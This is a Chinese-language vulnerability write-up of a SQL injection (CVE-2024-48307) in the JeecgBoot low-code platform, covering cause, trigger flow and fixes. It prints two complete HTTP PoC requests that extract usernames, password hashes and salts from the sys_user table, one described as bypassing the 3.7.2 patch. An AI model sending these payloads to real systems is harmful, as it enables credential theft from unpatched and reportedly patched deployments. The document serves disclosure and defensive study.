JeecgBoot SQL注入漏洞分析(CVE-2024-48307)
字数 1595 2025-08-22 12:23:06
JeecgBoot SQL注入漏洞分析(CVE-2024-48307) 教学文档
一、漏洞概述
JeecgBoot是一个Java低代码平台,在v3.7.1及以下版本中存在SQL注入漏洞(CVE-2024-48307)。该漏洞位于/jeecg-boot/drag/onlDragDatasetHead/getTotalData接口,由于未对用户输入进行充分过滤,导致攻击者可以构造恶意SQL语句获取数据库敏感信息。
二、影响范围
- 受影响版本:
org.jeecgframework.boot:jeecg-boot-parent < 3.7.1 - 修复版本:3.7.2及以上
三、漏洞分析
1. 漏洞位置
漏洞路由:/jeecg-boot/drag/onlDragDatasetHead/getTotalData
相关代码文件:
jimureport-dashboard-spring-boot-starter-1.8.1-beta.jar!\org\jeecg\modules\drag\b\f.classorg.jeecg.modules.drag.service.a.d#getTotalDataorg.jeecg.modules.drag.service.a.i
2. 漏洞成因
- 权限配置问题:Shiro配置中该接口无需授权即可访问
- 输入验证缺失:用户可控参数直接拼接至SQL语句
- FreeMarker模板注入:使用FreeMarker模板生成SQL查询语句时未对用户输入进行过滤
3. 漏洞触发流程
- 请求到达
/jeecg-boot/drag/onlDragDatasetHead/getTotalData接口 - 检查
compName不等于"JPivotTable" - 调用
onlDragDatasetHeadService.getTotalData()方法 - 检查请求头中
config.formtype不等于"design" - 进入
handleOnlineForm方法处理用户输入 - 通过
onlDragDatasourceDao.selectListBySql执行SQL查询 - 使用FreeMarker模板动态生成SQL语句,用户输入直接拼接
四、漏洞利用
1. 环境搭建
参考官方文档搭建环境:https://help.jeecg.com/java/setup/idea/startup.html
2. 原始PoC
POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 326
Content-Type: application/json
{
"tableName": "sys_user",
"compName": "test",
"condition": {
"filter": {
"config": {
"assistValue": [],
"assistType": [],
"name": [
{
"fieldName": "concat(username,0x3a,password,0x3a,salt)",
"fieldType": "string"
},
{
"fieldName": "id",
"fieldType": "string"
}
],
"value": [
{
"fieldName": "id",
"fieldType": "string"
}
],
"type": []
}
}
}
}
3. 修复后绕过PoC
在3.7.2版本中检测了concat函数,可以构造不含concat的PoC:
POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: 127.0.0.1:12346
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 308
Content-Type: application/json
{
"tableName": "sys_user",
"compName": "test",
"condition": {
"filter": {
"config": {
"assistValue": [],
"assistType": [],
"name": [
{
"fieldName": "username,password,salt",
"fieldType": "string"
},
{
"fieldName": "id",
"fieldType": "string"
}
],
"value": [
{
"fieldName": "id",
"fieldType": "string"
}
],
"type": []
}
}
}
}
五、漏洞修复
1. 修复措施
在3.7.2版本中,通过org.jeecg.modules.drag.service.a.j#handleOnlineForm中的c.a()方法对concat等敏感函数进行了检测。
2. 修复验证
尝试使用原始PoC会触发检测机制,返回异常。
六、安全建议
- 升级至JeecgBoot 3.7.2或更高版本
- 对所有用户输入进行严格的过滤和验证
- 使用预编译语句(PreparedStatement)代替动态SQL拼接
- 实施最小权限原则,限制数据库账户权限
- 对敏感接口增加身份验证和授权检查
- 定期进行安全审计和漏洞扫描
七、技术要点总结
- FreeMarker模板注入:漏洞利用FreeMarker模板动态生成SQL语句的特性
- 反射检测:修复版本通过反射调用检测方法识别恶意输入
- SQL注入变种:不同于传统SQL注入,该漏洞通过API参数注入
- 防御绕过:通过修改payload结构可以绕过简单关键词检测
八、参考链接
- JeecgBoot官方文档:https://help.jeecg.com
- 先知社区原文:https://xz.aliyun.com/t/1824226141702051